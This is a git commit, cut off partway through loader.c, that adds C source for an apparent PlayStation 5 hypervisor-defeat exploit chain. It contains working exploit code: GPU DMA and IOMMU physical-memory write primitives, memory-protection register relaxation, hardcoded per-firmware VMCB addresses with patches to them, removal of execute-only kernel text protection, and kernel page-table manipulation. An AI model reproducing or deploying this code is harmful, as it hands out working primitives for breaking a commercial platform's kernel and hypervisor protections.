initial commit support 3.xx and 4.xx

This commit is contained in:
Mateico
2026-04-24 17:30:06 +02:00
commit 4fc5de4d36
41 changed files with 4509 additions and 0 deletions

495
source/gpu.c Normal file
View File

@@ -0,0 +1,495 @@
#include "gpu.h"
#include "utils.h"
#include <fcntl.h>
#include <ps5/kernel.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment,
int mem_type, uint64_t *phys_out);
int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot,
int flags, uint64_t phys, size_t alignment,
const char *name);
int sceKernelSleep(int secs);
static struct gpu_ctx s_gpu = {0};
static struct gpu_kernel_offsets s_gpu_offsets = {0};
static int s_offsets_set = 0;
struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; }
void gpu_set_offsets(struct gpu_kernel_offsets *offsets) {
memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets));
s_offsets_set = 1;
}
static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) {
return (pde >> shift) & mask;
}
static int gpu_get_vmid(void) {
uint64_t curproc = kernel_get_proc(getpid());
uint64_t vmspace;
uint32_t vmid;
kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace,
sizeof(vmspace));
kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid));
return (int)vmid;
}
static uint64_t gpu_get_pdb2_addr(int vmid) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t pdb2_va;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va,
sizeof(pdb2_va));
return pdb2_va;
}
static uint64_t gpu_get_relative_va(int vmid, uint64_t va) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t start_va, size;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va,
sizeof(start_va));
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size));
if (va >= start_va && va < start_va + size)
return va - start_va;
return (uint64_t)-1;
}
static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va,
uint64_t *out_page_size) {
uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid);
uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF;
uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF;
uint64_t pde_idx = (gpu_va >> 21) & 0x1FF;
// PDB2 (PML4 equivalent)
uint64_t pml4e;
kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e));
if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB1 (PDPT equivalent)
uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK;
uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8;
uint64_t pdpe;
kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe));
if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB0 (PD equivalent)
uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK;
uint64_t pde_va = dmap + pd_pa + pde_idx * 8;
uint64_t pde;
kernel_copyout(pde_va, &pde, sizeof(pde));
if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// If IS_PTE bit set, this is a 2MB leaf
if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) {
*out_page_size = 0x200000;
return pde_va;
}
// PTB (page table block)
uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F);
uint64_t offset = gpu_va & 0x1FFFFF;
uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK;
uint64_t pte_idx, pte_va;
if (frag_size == 4) {
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
uint64_t pte;
kernel_copyout(pte_va, &pte, sizeof(pte));
if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 &&
gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) {
pte_idx = (gpu_va & 0xFFFF) >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
*out_page_size = 0x10000; // 64KB
}
} else if (frag_size == 1) {
pte_idx = offset >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
// Unknown fragment size - use 64KB as default
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x10000;
}
return pte_va;
}
static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) {
uint64_t phys_out = 0;
void *va_out = NULL;
int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ;
if (gpu_write)
prot |= PROT_GPU_WRITE;
int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out);
if (ret != 0) {
printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret);
return 0;
}
ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE,
phys_out, size, "gpudma");
if (ret != 0) {
printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret);
return 0;
}
return (uint64_t)va_out;
}
static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) {
return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) |
((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1);
}
static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va,
uint32_t length) {
uint32_t *pkt = (uint32_t *)buf;
uint32_t count = 6;
uint32_t dma_hdr = (1u << 31) // cp_sync
| (2u << 25) // dst_cache_policy
| (1u << 27) // dst_volatile
| (2u << 13) // src_cache_policy
| (1u << 15); // src_volatile
pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count);
pkt[1] = dma_hdr;
pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF);
pkt[3] = (uint32_t)(src_va >> 32);
pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF);
pkt[5] = (uint32_t)(dst_va >> 32);
pkt[6] = length & 0x1FFFFF;
return 7 * sizeof(uint32_t);
}
static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr,
uint32_t size_bytes) {
uint64_t *d = (uint64_t *)desc;
uint32_t size_dwords = size_bytes >> 2;
d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL;
d[1] =
(((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF);
}
static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count,
uint64_t descriptors_ptr) {
struct {
uint32_t pipe_id;
uint32_t count;
uint64_t cmd_buf_ptr;
} submit;
submit.pipe_id = pipe_id;
submit.count = cmd_count;
submit.cmd_buf_ptr = descriptors_ptr;
return ioctl(fd, GPU_SUBMIT_IOCTL, &submit);
}
static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf,
uint32_t size, int is_write) {
if (!s_gpu.initialized)
return -1;
uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1);
uint64_t offset = phys_addr - aligned_pa;
if (offset + size > s_gpu.dmem_size) {
printf("[gpu] transfer exceeds dmem_size\n");
return -1;
}
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa;
kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe);
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
uint64_t src, dst;
if (is_write) {
memcpy((void *)s_gpu.transfer_va, local_buf, size);
src = s_gpu.transfer_va;
dst = s_gpu.victim_va + offset;
} else {
src = s_gpu.victim_va + offset;
dst = s_gpu.transfer_va;
}
int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size);
uint8_t desc[16];
gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size);
uint64_t desc_va = s_gpu.cmd_va + 0x1000;
memcpy((void *)desc_va, desc, 16);
int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va);
if (ret != 0) {
printf("[gpu] ioctl submit failed: %d\n", ret);
return -1;
}
// Wait for GPU DMA completion
// TODO: proper fence/signal wait
usleep(100000);
if (!is_write) {
memcpy(local_buf, (void *)s_gpu.transfer_va, size);
}
// Restore victim PTE to original physical address
uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa;
kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe);
return 0;
}
int gpu_init(void) {
// init GPU DMA
struct gpu_kernel_offsets go = {};
go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE;
go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID;
go.sizeof_gvmspace = 0x100;
go.gvmspace_page_dir_va = 0x38;
go.gvmspace_size = 0x10;
go.gvmspace_start_va = 0x08;
go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE;
gpu_set_offsets(&go);
if (gpu_init_internal())
return -1;
return 0;
}
int gpu_init_internal(void) {
if (s_gpu.initialized) {
DEBUG_PRINT("[gpu] Already initialized\n");
return 0;
}
if (!s_offsets_set) {
DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n");
return -1;
}
DEBUG_PRINT("[gpu] init\n");
s_gpu.dmem_size = 2 * 0x100000; // 2MB
// Step 1: Open GPU device
DEBUG_PRINT("[gpu] Opening /dev/gc\n");
s_gpu.fd = open("/dev/gc", O_RDWR);
if (s_gpu.fd < 0) {
DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd);
return -1;
}
DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd);
// Step 2: Allocate 3 GPU-mapped buffers
DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n");
s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.victim_va) {
DEBUG_PRINT("[gpu] victim alloc failed\n");
return -2;
}
s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.transfer_va) {
DEBUG_PRINT("[gpu] transfer alloc failed\n");
return -2;
}
s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.cmd_va) {
DEBUG_PRINT("[gpu] cmd alloc failed\n");
return -2;
}
DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va);
DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va);
DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va);
// Step 3: Get the physical address of the victim buffer
s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va);
DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa);
// Step 4: Walk GPU page tables to find the PTE for the victim buffer
int vmid = gpu_get_vmid();
DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid);
if (s_gpu_offsets.data_base_gvmspace == 0) {
DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n");
return -3;
}
uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va);
if (rel_va == (uint64_t)-1) {
DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n");
return -3;
}
DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va);
s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size);
if (s_gpu.victim_ptbe_va == 0) {
DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n");
return -4;
}
DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va);
DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size);
if (s_gpu.page_size != s_gpu.dmem_size) {
DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n",
s_gpu.page_size, s_gpu.dmem_size);
}
// Step 5: Prepare the cleared PTE template
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t current_ptbe;
kernel_copyout(s_gpu.victim_ptbe_va, &current_ptbe, sizeof(current_ptbe));
s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa;
DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe);
DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe);
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
s_gpu.initialized = 1;
DEBUG_PRINT("[gpu] ready\n");
return 0;
}
int gpu_test(void) {
if (!s_gpu.initialized) {
printf("[gpu] ERROR: not initialized\n");
return -1;
}
DEBUG_PRINT("[gpu] test\n");
// Test 1: Read a known kernel .data value via GPU DMA and compare
uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE;
uint64_t test_pa = va_to_pa_kernel(test_va);
DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa);
uint64_t kernel_val = kernel_getlong(test_va);
DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val);
uint64_t gpu_val = gpu_read_phys8(test_pa);
DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val);
if (kernel_val == gpu_val) {
printf("[gpu] *** TEST PASSED: values match ***\n");
} else {
printf("[gpu] *** TEST FAILED: values differ ***\n");
return -1;
}
// Test 2: Write and read-back test
uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000);
uint64_t magic = 0xDEADBEEFCAFEBABEULL;
DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic);
gpu_write_phys8(test_write_pa, magic);
uint64_t readback = gpu_read_phys8(test_write_pa);
DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback);
if (readback == magic) {
printf("[gpu] *** WRITE TEST PASSED ***\n");
} else {
printf("[gpu] *** WRITE TEST FAILED ***\n");
return -1;
}
printf("[gpu] tests ok\n");
return 0;
}
int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, out_buf, size, 0);
}
uint8_t gpu_read_phys1(uint64_t phys_addr) {
uint8_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint32_t gpu_read_phys4(uint64_t phys_addr) {
uint32_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint64_t gpu_read_phys8(uint64_t phys_addr) {
uint64_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1);
}
void gpu_write_phys4(uint64_t phys_addr, uint32_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_write_phys8(uint64_t phys_addr, uint64_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_cleanup(void) {
if (s_gpu.fd >= 0) {
close(s_gpu.fd);
s_gpu.fd = -1;
}
s_gpu.initialized = 0;
printf("[gpu] Cleaned up\n");
}

295
source/hv_defeat.c Normal file
View File

@@ -0,0 +1,295 @@
#include "hv_defeat.h"
#include "config.h"
#include "gpu.h"
#include "iommu.h"
#include "tmr.h"
#include "utils.h"
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
uint64_t vmcb_pa[16];
int hv_defeat(void) {
if (gpu_init())
return -1;
if (stage1_tmr_relax())
return -1;
if (stage2_find_vmcbs())
return -1;
iommu_selftest();
if (stage3_patch_vmcbs())
return -1;
if (stage4_force_vmcb_reload())
return -1;
if (stage5_remove_xotext())
return -1;
if (stage6_kernel_pmap_invalidate_all())
return -1;
return 0;
}
int stage1_tmr_relax(void) {
DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: ");
DEBUG_PRINT("Firmware version: %04x\n", fw);
for (int t = 0; t < 22; t++) {
uint32_t b = tmr_read(TMR_BASE(t));
uint32_t l = tmr_read(TMR_LIMIT(t));
uint32_t c = tmr_read(TMR_CONFIG(t));
if (c == 0 && b == 0 && l == 0)
continue;
DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t,
(uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c);
}
if (fw < 0x0300) {
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
} else {
tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE)
goto no_ok;
}
DEBUG_PRINT("OK\n");
return 0;
no_ok:
DEBUG_PRINT("No OK\n");
return -1;
}
int stage2_find_vmcbs(void) {
DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n");
uint64_t vcpu_off = env_offset.HV_VCPU;
uint64_t stride = env_offset.HV_VCPU_CPUID;
// Testing direct VMCB on 04.03
if ((!vcpu_off || !stride) && fw < 0x0300) {
DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw);
return -1;
}
for (int c = 0; c < 16; c++) {
vmcb_pa[c] = get_vmcb(c);
DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]);
}
return 0;
}
// Only valid for 3.xx and 4.xx
// 1.xx and 2.xx have dynamic page alloc for VMCB
// TODO: add 1.xx and 2.xx logic
uint64_t get_vmcb(int core) {
switch (fw) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
break;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
break;
default:
return -1;
}
}
int iommu_selftest(void) {
DEBUG_PRINT("\n[iommu] self-test\n");
uint64_t scratch = 0xAAAAAAAABBBBBBBBULL;
uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch);
if (!scratch_pa || scratch_pa >= 0x100000000ULL) {
DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa);
return -1;
}
uint64_t pattern = 0xDEADCAFE12345678ULL;
DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch);
iommu_write8_pa(scratch_pa, pattern);
uint64_t readback = kread64(dmap + scratch_pa);
DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback,
(readback == pattern) ? "OK" : "FAIL");
return (readback == pattern) ? 0 : -1;
}
int stage3_patch_vmcbs(void) {
DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n");
int cur = sceKernelGetCurrentCpu();
pin_to_core(cur);
for (int i = 0; i < 16; i++) {
uint64_t pa = vmcb_pa[i];
iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL);
iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL);
iommu_write8_pa(pa + 0x10, 0x000000000000000FULL);
iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL);
iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL);
DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa);
// uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00);
// uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08);
// uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10);
// uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58);
// uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90);
// printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n",
// vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90
// );
usleep(1000);
}
pin_to_core(9);
DEBUG_PRINT(" done, 16 cores\n");
return 0;
}
static jmp_buf jmp_env;
static volatile int vmmcall_faulted = 0;
void handle_sigill(int sig) {
vmmcall_faulted = 1;
longjmp(jmp_env, 1);
}
int stage4_force_vmcb_reload(void) {
int ret = 0;
auto old_handler = signal(SIGILL, handle_sigill);
for (int i = 0; i < 16; i++) {
pin_to_core(i);
vmmcall_faulted = 0;
if (setjmp(jmp_env) == 0) {
__asm__ volatile("vmmcall");
}
usleep(1000);
DEBUG_PRINT("[vmmcall] core: %02d %s\n", i,
vmmcall_faulted ? "SIGILL (caught)" : "ok");
// Accumulate results
ret |= vmmcall_faulted;
}
signal(SIGILL, old_handler);
// Return -1 if we didn't caught them
return ret ? 0 : -1;
}
int stage5_remove_xotext(void) {
DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n");
uint64_t start =
ktext - 0xF0000; // Include first pages where fun stuff is located
uint64_t end = kdata;
int n = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
DEBUG_PRINT(" %d pages on ktext\n", n);
start = kdata;
end = kdata + 0x08000000;
n = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
DEBUG_PRINT(" %d pages on kdata\n", n);
return 0;
}
int stage6_kernel_pmap_invalidate_all(void) {
DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n");
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
int pipe_fds[2];
// set O_NONBLOCK to avoid PIPE_DIRECTW
if (pipe2(pipe_fds, O_NONBLOCK)) {
return -1;
}
// the pipe starts off as 1 page large - we need to write into the pipe so it
// will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt
// use the one page fast path
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
close(pipe_fds[0]);
close(pipe_fds[1]);
return -1;
}
// dont need this anymore
close(pipe_fds[1]);
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
if (!INKERNEL(read_fd_file_data)) {
close(pipe_fds[0]);
return -1;
}
uint64_t read_fd_buffer;
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
sizeof(read_fd_buffer));
if (!INKERNEL(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
// inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be
// called anyvalid is only set if there is at least 1 non global entry being
// removed set the first entry as non global, its being removed anyway so its
// fine (?)
if (!page_remove_global(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
// fd 0 is read end, it holds the buffer, this close is what does the
// pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob
close(pipe_fds[0]);
return 0;
}

103
source/iommu.c Normal file
View File

@@ -0,0 +1,103 @@
#include "iommu.h"
#include "utils.h"
#include <stdio.h>
#include <string.h>
iommu_ctx iommu_store;
iommu_ctx *iommu = &iommu_store;
int iommu_init(void) {
uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC);
if (softc_ptr == ktext) {
DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset");
return -1;
}
uint64_t softc = kread64(softc_ptr);
if (!softc) {
DEBUG_PRINT("[iommu] softc is NULL\n");
return -2;
}
iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA);
iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR);
iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR);
iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR);
if (!iommu->cb2_base || !iommu->mmio_va) {
DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n",
iommu->cb2_base, iommu->mmio_va);
return -3;
}
DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc,
iommu->cb2_base, iommu->mmio_va);
return 0;
}
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(const void *cmd) {
if (iommu->mmio_va == 0)
iommu_init();
uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE);
kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail);
while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) !=
kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL))
;
}
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(uint64_t pa, uint64_t val) {
uint32_t cmd[4];
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
cmd[2] = (uint32_t)(val);
cmd[3] = (uint32_t)(val >> 32);
iommu_submit_cmd(cmd);
}
// Write 4 bytes to a physical address
void iommu_write4_pa(uint64_t pa, uint32_t val) {
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
uint32_t off = (uint32_t)(pa & 7);
memcpy((uint8_t *)&existing + off, &val, 4);
iommu_write8_pa(aligned, existing);
}
// Write arbitrary length to a physical address in 8-byte chunks
void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) {
const uint8_t *src = (const uint8_t *)data;
uint32_t off = 0;
if (pa & 7) {
uint32_t head = 8 - (uint32_t)(pa & 7);
if (head > len)
head = len;
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
memcpy((uint8_t *)&existing + (pa & 7), src, head);
iommu_write8_pa(aligned, existing);
off += head;
}
while (off + 8 <= len) {
uint64_t val;
memcpy(&val, src + off, 8);
iommu_write8_pa(pa + off, val);
off += 8;
}
if (off < len) {
uint64_t aligned = pa + off;
uint64_t existing = kread64(dmap + aligned);
memcpy(&existing, src + off, len - off);
iommu_write8_pa(aligned, existing);
}
}

242
source/loader.c Normal file
View File

@@ -0,0 +1,242 @@
#include "loader.h"
#include "config.h"
#include "utils.h"
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define MINI_SYSCORE_PID 1
static uint64_t alloc_page(void) {
void *page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
// Fault it to force physical allocation
*(uint8_t *)page = 0;
return va_to_pa_user((uintptr_t)page);
}
static void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa,
int bits) {
uint64_t entry;
uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8;
entry = kread64(pml4e);
if (!PAGE_P(entry)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pml4e, entry);
}
uintptr_t pdpe = pa_to_dmap(PAGE_PA(entry)) + pmap_pdpe_index(va) * 8;
entry = kread64(pdpe);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pdpe, entry);
}
uintptr_t pde = pa_to_dmap(PAGE_PA(entry)) + pmap_pde_index(va) * 8;
entry = kread64(pde);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pde, entry);
}
uintptr_t pte = pa_to_dmap(PAGE_PA(entry)) + pmap_pte_index(va) * 8;
entry = pa | PG_B_RW | PG_B_P | bits;
pte_store(pte, entry);
}
void pte_store(uintptr_t ptep, uint64_t pte) {
static_assert((PAGE_SIZE % 0x1000) == 0,
"PAGE_SIZE should be a multiple of 0x1000");
for (uint64_t i = 0; i < (PAGE_SIZE / 0x1000); i++) {
kwrite64(ptep + i * 8, pte + i * 0x1000);
}
}
const char *file_paths[] = {
"/mnt/usb0/", "/mnt/usb1/", "/mnt/usb2/",
"/mnt/usb3/", "/mnt/usb0/PS5/Linux/", "/mnt/usb1/PS5/Linux/",
"/mnt/usb2/PS5/Linux/", "/mnt/usb3/PS5/Linux/",
};
long find_and_get_size_of_file(const char *filename, char *found_path) {
char full_path[256];
struct stat st;
int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);
for (int i = 0; i < num_paths; i++) {
